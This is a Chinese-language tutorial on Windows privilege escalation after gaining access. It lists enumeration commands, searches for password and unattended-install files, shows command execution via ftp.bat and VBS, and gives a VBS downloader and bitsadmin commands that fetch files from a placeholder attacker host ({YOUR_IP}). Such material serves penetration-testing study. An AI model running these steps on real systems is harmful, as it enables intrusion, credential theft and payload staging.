这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。
1.获取操作系统信息
识别操作系统名称及版本:
- C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- OS Name: Microsoft Windows 10 Pro
- OS Version: 10.0.14393 N/A Build 14393
当然中文系统你得这样:
- systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
识别系统体系结构:
- C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%
- AMD64
查看所有环境变量:
- C:\Users\thel3l> SET
- USERNAME=thel3l
- USERPROFILE=C:\Users\thel3l
- *snip*
查看某特定用户信息:
- C:\Users\thel3l>net user thel3l
- User name thel3l
- *snip*
- The command completed successfully
2.获取网络信息
查看路由表信息:
- C:\Users\thel3l> route print
查看ARP缓存信息:
- C:\Users\thel3l> arp -A
查看防火墙规则:
- C:\Users\thel3l> netstat -ano
- C:\Users\thel3l> netsh firewall show config
- C:\Users\thel3l> netsh firewall show state
3.应用程序及服务信息
查看计划任务:
- C:\Users\thel3l> schtasks /QUERY /fo LIST /v
中文系统的命令,先调整GBK编码为437美国编码:
- chcp 437
然后
- schtasks /QUERY /fo LIST /v
查看服务进程ID:
- C:\Users\thel3l> tasklist /SVC
查看安装驱动:
- C:\Users\thel3l> DRIVERQUERY
查看安装程序和版本信息(漏洞利用线索):
- C:\Users\thel3l> wmic product list brief
查看服务、进程和启动程序信息:
- C:\Users\thel3l> wmic service list brief
- C:\Users\thel3l> wmic process list brief
- C:\Users\thel3l> wmic startup list brief
查看.msi程序的执行权限:
- C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看是否设置有setuid和setgid:
- C:\Users\thel3l>reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits
查看安装补丁和时间信息:
- C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn
查看特定漏洞补丁信息:
- C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
4.敏感数据和目录
查找密码文件或其它敏感文件:
- C:\Users\thel3l> cd/
- C:\Users\thel3l> dir /b/s password.txt
- C:\Users\thel3l> dir /b/s config.*
- C:\Users\thel3l> findstr /si password *.xml *.ini *.txt
- C:\Users\thel3l> findstr /si login *.xml *.ini *.txt
无人值守安装文件:
这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:
- C:\sysprep.inf
- C:\sysprep\sysprep.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattended.xml
5.文件系统
可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:
- import os; os.system("cmd /c {command here}")
使用copy con命令创建ftp执行会话:
范例
- C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件
- ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出
- C:\Users\thel3l> ftp.bat # 执行创建的文件
- ftp> # 执行ftp命令
- ftp> !{command} # e.g. - !dir or !ipconfig
使用copy con命令创建VBS脚本文件:
- C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件
- Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容
- C:\Users\thel3l> commandExec.vbs #执行脚本文件
检查文件夹可写状态:
- C:\Users\thel3l> dir /a-r-d /s /b
6.一个有用的文件上传脚本
- ' downloadfile.vbs
- ' Set your settings
- strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"
- strHDLocation = "c:\\{FILE_NAME.EXT}"
- ' Fetch the file
- Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
- objXMLHTTP.open "GET", strFileURL, false
- objXMLHTTP.send()
- If objXMLHTTP.Status = 200 Then
- Set objADOStream = CreateObject("ADODB.Stream")
- objADOStream.Open
- objADOStream.Type = 1 'adTypeBinary
- objADOStream.Write objXMLHTTP.ResponseBody
- objADOStream.Position = 0 'Set the stream position to the start
- Set objFSO = Createobject("Scripting.FileSystemObject")
- If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
- Set objFSO = Nothing
- objADOStream.SaveToFile strHDLocation
- objADOStream.Close
- Set objADOStream = Nothing
- End if
- Set objXMLHTTP = Nothing
该脚本是一个社区发布的,你可以以下这种方式运行它:
- C:\Users\thel3l>cscript.exe downloadfile.vbs
bitsadmin命令:
如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:
范例
- C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file
- C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}
- C:\Users\username\Downloads\{FILE_NAME.EXT}
如:
- bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip